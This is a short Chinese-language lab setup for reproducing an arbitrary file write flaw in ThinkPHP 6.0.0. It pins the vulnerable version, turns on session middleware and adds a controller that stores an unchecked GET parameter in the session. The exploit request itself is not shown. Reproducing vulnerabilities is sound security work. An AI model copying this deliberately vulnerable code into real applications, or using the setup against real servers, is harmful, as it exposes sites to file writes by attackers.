## thinkphp6 任意文件写入

# 环境

`composer create-project topthink/think tp60`

将 tp60/composer.json 文件的 "topthink/framework": "^6.0.0" 改成 6.0.0 版本，并执行如下命令。

`composer update`

`./think run --host=0.0.0.0 --port=8000`

# 前提

`app/middleware.php`  开启session功能

```
<?php
// 全局中间件定义文件
return [
    // 全局请求缓存
    // \think\middleware\CheckRequestCache::class,
    // 多语言加载
    // \think\middleware\LoadLangPack::class,
    // Session初始化
//     \think\middleware\SessionInit::class
    \think\middleware\SessionInit::class
];

```
`app/controller/Index.php` 

```
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {

        session('thinkphp', $_GET['test']);
        return 'Thinkphp 任意文件操作';
    }
}
```
